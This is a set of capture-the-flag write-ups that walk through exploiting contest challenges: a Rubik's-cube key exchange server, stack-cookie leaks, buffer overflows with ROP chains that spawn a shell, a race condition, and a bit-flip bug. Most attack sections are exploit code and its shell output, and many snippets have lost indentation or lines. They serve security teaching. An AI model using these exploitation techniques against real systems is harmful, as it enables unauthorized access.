This is a write-up of the Rubik challenge from the Google CTF Qualification round 2017

## The challenge

The challenge uses Stickel's Key exchange over the rubik's cube group.

When connecting to the challenge on `rubik.ctfcompetition.com:1337` we are greeted with the following menu:

``````Welcome to the Rubik's cube authentication server!

You have the following options:
1) Public key service
2) Register
q) Quit
``````
1. The public key service lets us compute a rubik's cube state from a private key consisting of two numbers.
2. Allows us to register a user with a specified public key.
3. Gives us a challenge to verify that we have the private corresponding to a user's public key.

A private key is pair of numbers (a,b) and the way a public key is computed is applying the group operation (U x') a times, and then applying the group operation (L y') b times. Thus public key for a given private key is

a * (U x') + b * (L y')

## Bruteforcing all keys

From the Wikipedia article of the Rubik cube group the order of the group operations (U x') and (L y') have order 1260, thus there exists only 1260*1260 = 1587600 different keys pairs. So we can make the server compute every possible private/public key using simple bruteforce.

``````from pwn import *
import pickle

r = remote("rubik.ctfcompetition.com", 1337)

them_keys = {}
for a in range(1260):
r = remote("rubik.ctfcompetition.com", 1337)

# ask for all public keys corresponting to every possible b for each fixed a
for b in range(1260):
r.sendline("1")
r.sendline(str(a))
r.sendline(str(b))

for b in range(1260):
r.recvuntil("==\n")
cube = r.recvline().strip()
them_keys[cube] = (a,b)

r.close()

print a, len(them_keys)

# dump all the keys to the file "them_keys"
with open("them_keys", "w") as f:
pickle.dump(them_keys, f)
``````

So we now have a lookup table of all the private key for every possible public key.

## Logging in

When trying to login using menu option 2 we are presented with the following challenge

``````My public key is:
WOOBWGWWOBYGRRBYYGWYRYGWORGRBBOORGGGRWOBBYRWOYBWOYRYGB

Please give me the result of:
mykey.handshake(yourkey, "882af203cb894828".from_hex().unwrap()).to_hex()
``````

Thus if we choose a solved rubik cube as our public key, we can simply apply the handshake function of the server's publickey to get a valid response to the challenge.

Now lets consider what the handshake function does:

``````pub fn handshake(&self, key: PublicKey, salt: &[u8]) -> [u8; 16] {
let pa = Permutation::parse("U x'").unwrap();
let pb = Permutation::parse("L y'").unwrap();
let cube = Cube::default().apply(self.a * pa + key.key + self.b * pb);
let mut out = [0; 16];
Blake2b::blake2b(&mut out, &cube.serialize().as_bytes(), salt);
out
}
``````

So in our case, with a solve rubik cube as a public key, we see that we must simply responde with a hash of the servers public key.

Now we can log in as a user using the following script:

``````from pwn import *
from pyblake2 import blake2b

r = remote("rubik.ctfcompetition.com", 1337)

# create a user with a solved Rubik's cube as publickey
r.sendline("2")
r.sendline("hackerman")
r.sendline("WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY")

r.sendline("3")
r.sendline("hackerman")
r.recvuntil("key is:\n")
server_pub = r.recvline().strip()
r.recvuntil("mykey.handshake(yourkey, \"")
salt = r.recvn(16)
r.recvline()
hsh = blake2b(server_pub, key=salt.decode("hex"), digest_size=16).digest()
r.sendline(hsh.encode("hex"))

r.interactive()
``````

``````You have the following options:
1) Public key service
2) Register
4) List users
q) Quit
``````

So we are now able to list which users already exists. So lets do that:

``````List of registered users:
Key: WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY

Key: GBBRBWRWBWBBWBRYROWYRGOGYWYRRBOYOYGWGWYBOYOOROGORGYGWG
``````

Woo! So there is a admin user and we know his public key, so we can simply find his private key using our lookup table:

``````Traceback (most recent call last):
File "doit.py", line 27, in <module>
KeyError: 'GBBRBWRWBWBBWBRYROWYRGOGYWYRRBOYOYGWGWYBOYOOROGORGYGWG'
``````

This is very odd, as our lookup table contains every possible key pair. So we can conclude that the admin must have a public key which does not correspond to any private key.

So we need a different approach we need to know the servers private key to calcualte the shared secret

1. Find a sequence of moves which solve the admins public key, call this sequence M
2. Look up the server private key, and call this (a, b)
3. Calcucate: a * (U x') + M' + b * (L y')
``````from rubik.cube import Cube
from rubik.solve import Solver

admin_moves += [move]*3 # invert every move

a, b = them_keys[server_public_key]

moves = ["U", "Xi"]*a + admin_moves + ["L", "Yi"]*b

# apply operations on a solved cube.
win_cube = Cube("WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY")
for move in moves: getattr(win_cube, move)()

# hash
winning = str(win_cube).replace(" ", "").replace("\n", "")
hsh = blake2b(winning, key=salt.decode("hex"), digest_size=16).digest()

r.sendline(hsh.encode("hex"))

r.interactive()
``````

This only works 1 in 24 times because the solver libary we found does not preserve the orientation of the cube.

So we just run our script until we get the flag:

``````Your are now logged in!
Here is the flag: CTF{StickelsKeyExchangeByHand}
``````

# ASIS 2017 Quals Random

This is a write of the cahllenge Random from ASIS Quals 2017 CTF

## The Challenge

Its a simple 64-bit binary which generates 'random' numbers, it has stack cookies.

## Hand fuzzing

It was not necessary to reverse engineer the binary as it has odd and exploitable behaviour.

The binary behaves differently locally and remotely. Locally it returns only 0 when giving random numbers. Remotely is returns what looks like random numbers. After a short while of debugging I deduce that it is leaking the stack cookie. Also there is a buffer overflow when leaving a comment.

## Exploitation

I found ROP gadgets using `ROPGadget`

``````\$ ROPgadget --binary Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1
============================================================
...
0x0000000000400f88 : mov rdx, rsi ; ret
...
0x0000000000400f8c : pop rax ; pop rdi ; ret
...
0x0000000000400f61 : pop rsi ; pop r15 ; ret
...
0x0000000000400f8f : syscall ; ret
``````

These gadget are enough to make syscalls with 3 arguments, so I made an exploit:

Running it pops a shell:

``````\$ python doit.py
[+] Starting local process './Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1': Done
[*] Switching to interactive mode
\$ bash -l
\$ cowsay "I got shell"
_____________
< I got shell >
-------------
\   ^__^
\  (oo)\_______
(__)\       )\/\
||----w |
||     ||
\$ ^C
[*] Interrupted
[*] Stopped program './Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'
``````

# ASIS 2017 Quals CRC

This is a write-up of the challenge crc from ASIS Quals 2017 CTF

## The challenge

The challenge is a 32-bits binary, which can calculate the crc32 of data we send it.

``````**********WELCOME TO THE CRC32 CALCULATOR**********

------------------------
1) Calculate a CRC
2) Exit
------------------------
Choice:
``````

## The Solution

The challenge boils down to the following;

``````char buf[100];
char *buf_ptr = &buf;
unsigned int size;
...
while(True){
size = get_userinput_number()
if(size > 99){ too much data }
gets(buf);
calcCrc(buf_ptr, size);
}
``````

So the problem is that the `gets` can overwrite the pointer `buf_ptr`, and so give us the crc32 of any byes in the memory. This obviously leads to a memory leak.

### Reliable memory leak

``````from pwn import *

reverse_crc = {crc.crc_32(p8(i)): p8(i) for i in range(2**8)}

r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

@MemLeak
if "\n" in p32(addr): return ""
#Choice:
r.sendline("1")
#What is the length of your data:
r.sendline("1")
#Please send me 1 bytes to process:
r.recvuntil("CRC is: ")
crc = int(r.recvline(), 16)
return reverse_crc[crc]
``````

This leak is not good enough because the address from which we are leaking must not contain newlines. However it demonstrates the vulnerability quite well.

We can fix the problem with most of the newlines if we simple leak 2 bytes instead and do a little workaround address with newlines:

``````from pwn import *

reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)}

r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

@MemLeak
f = 0
log.info("Leaking from address with newline... Fixing"
f = 1
#Choice:
r.sendline("1")
#What is the length of your data:
r.sendline("2")
#Please send me 2 bytes to process:
r.recvuntil("CRC is: ")
crc = int(r.recvline(), 16)
return reverse_crc[crc][f:]
``````

### Exploitation

Now we can simply use the pwntools pointer chasing magic module `DynELF` to leak symbols from libc:

``````e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
d = DynELF(leak, elf=e)

system = d.lookup("system", lib="libc.so")
log.info("system = 0x%x", system)
``````

This gives us the address of `system`. Next thing we can do is find our buffer on the stack, leak the cookie.

``````environ = d.lookup("environ", lib="libc.so")
log.info("environ = 0x%x", environ)

stack = leak.d(environ)
for i in range(0x400):
if leak.d(stack-i) == 0x41414141: break
stack = stack - i
log.info("stack = 0x%x", stack)

``````

Then if we put `/bin/sh\x00` in the buffer we overflow we can even find it at `binsh = stack-100+4` and finally we can exploit the function `get_userinput_number` because it uses `gets` and ROP to win:

``````rop = flat(["A"*40, cookie, "B"*12, system, 0x41414141, binsh])

assert "\n" not in rop

r.sendline(rop)

r.sendline("echo SHELL")
r.recvuntil("SHELL\n")

r.interactive()
``````

## Final exploit

``````\$ python doit.py
[+] Calculating CRC reverse lookup table: Done
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'
Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE
[+] Starting local process './crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': Done
[+] Resolving 'system' in 'libc.so': 0xf7792930
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] system = 0xf75de3e0
[+] Resolving 'environ' in 'libc.so': 0xf774ade0
[*] stack = 0xffb67624
[*] Switching to interactive mode
\$ cowsay "I got shell"
_____________
< I got shell >
-------------
\   ^__^
\  (oo)\_______
(__)\       )\/\
||----w |
||     ||
\$
``````

# Nuit du Hack Quals 2017 - Lets Enchiffre

This is a write-up of the Lets Enchiffre challenge from Nuit du Hack CTF Quals 2017.

Apparently I was the only one to solve this challenge during the CTF.

## The Challenge

It is a 32-bit x86 binary compiled on some RedHat system and it exposes a LetsEncrypt-like service, which can create SSL certificates upon request. It is linked against `libzxcvbn.so.0`, and as evident from the output of `readelf`:

``````\$ readelf -d LetsEnchiffre
...
0x0000000f (RPATH)                      Library rpath: [/home/n.chatelain/Sysdream/NDH2017/Quals/quals-letsenchiffre/zxcvbn-c]
...``````

it is likely to be used with `https://github.com/tsyrogit/zxcvbn-c.git`.

## Creating a test setup

After a bit of trail-and-error and fiddling around with Fedora and CentOS docker images, I was able to create the following `Dockerfile`:

in which I was able to run the binary.

## Reverse engineering

The challenge uses Protobuf and zxcvbn, it is an accept-loop based server, and for each connect it spawns a thread.

### Race condition

The use of threading hints at a possible race condition bug and sure enough we have multiple reader and writers for the global variable stored at `0x08056450`. This variable is used to store a pointer to an password either supplied by a user or generated automatically.

When recviving the password this happens:

``````google::protobuf::MessageLite::ParseFromArray(&pbuf_msg, buf, v18);
{
if ( strlen(password_3_cstr) <= 99 )
}
``````

So we set the global variable `password_g` and then checks if it is shorter than 100 bytes, thus we can always override the `password_g` variable which might be used in another thread.

### Buffer overflow

Next we take a look at the password strength check function at `0x0804b32b`:

``````  snprintf(foo, 0x400u, "%s%s", "letsenchiffre", password_g);
v7 = ZxcvbnMatch(foo, 0, &v6);
if ( v7 >= 70.0 ) { ... } else { ... }
``````

The variable `foo` is located on the stack and is only 114 bytes long. This is clearly bad.

## Exploitation

The challenge does have `execstack` so we just need to put our shellcode in memory and jump to it, and running `ROPgadget` on the binary we get:

``````0x0804b490 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
``````

So if we can point `esp` to just a few pops below `password_g` we would start executing at the start of out payload, so we can exploit the binary with

and if we are lucky we will hit the race condition just right and get a connect back on `ebfe.dk:4243`.

### Flag

`NDH{df297855f5038ffd0b7f8ad86ed155c3d3643d18eb2a2f1a22e107039bad7cd0}`

# Plaidctf 2016 Butterfly

This is a write-up of the challenge Butterfly from the Plaid ctf 2016.

# The challenge

Butterfly is a 64bit x86 linux pwnable, which simply lets you flip a single bit by shining a cosmic ray at it.

It works by `mprotect`'ing the page with read-write-execute before flipping the bit and then calling mprotect again to remove write rigths.

# The exploit

As we can flip arbitary bits in both the code and data, it knew that we should either flip the bit the code of `main` or in some got entry, to get control of `rip`.

At the end of `main` we found:

``````  400860:   48 83 c4 48             add    rsp,0x48
400864:   5b                      pop    rbx
400865:   41 5e                   pop    r14
400867:   41 5f                   pop    r15
400869:   5d                      pop    rbp
40086a:   c3                      ret
``````

and thus flipping the 6'th bit at 400863 would change the `add rsp,0x48` to `add rsp, 0x8`, and so `main` would return to an address of our choosing.

So by letting `main` to return to `main` we was able to get unlimited bit flips.

``````from pwn import *
context(arch="amd64")

e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
#r = remote("butterfly.pwning.xxx", 9999)
r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")

num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))
``````

which when run gives us:

``````\$ python doit_butterfly.py
[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
Arch:          amd64-64-little
RELRO:         No RELRO
Stack Canary:  Canary found
NX:            NX enabled
PIE:           No PIE
[x] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed'
[+] Starting program './butterfly_33e86bcc2f0a21d57970dc6907867bed': Done
[*] Switching to interactive mode
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
``````

note that "THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?" is written twice, this is because we are re-executing `main`.

So from here it was easy to write some shellcode in the `.bss` and just return to it...

# Final exploit

``````[*] '/home/user/butterfly_33e86bcc2f0a21d57970dc6907867bed'
Arch:          amd64-64-little
RELRO:         No RELRO
Stack Canary:  Canary found
NX:            NX enabled
PIE:           No PIE
[x] Opening connection to butterfly.pwning.xxx on port 9999
[x] Opening connection to butterfly.pwning.xxx on port 9999: Trying 13.92.239.242
[+] Opening connection to butterfly.pwning.xxx on port 9999: Done
[*] Switching to interactive mode
WAS IT WORTH IT???
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
WAS IT WORTH IT???
id
uid=1001(problem) gid=1001(problem) groups=1001(problem)
cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}
``````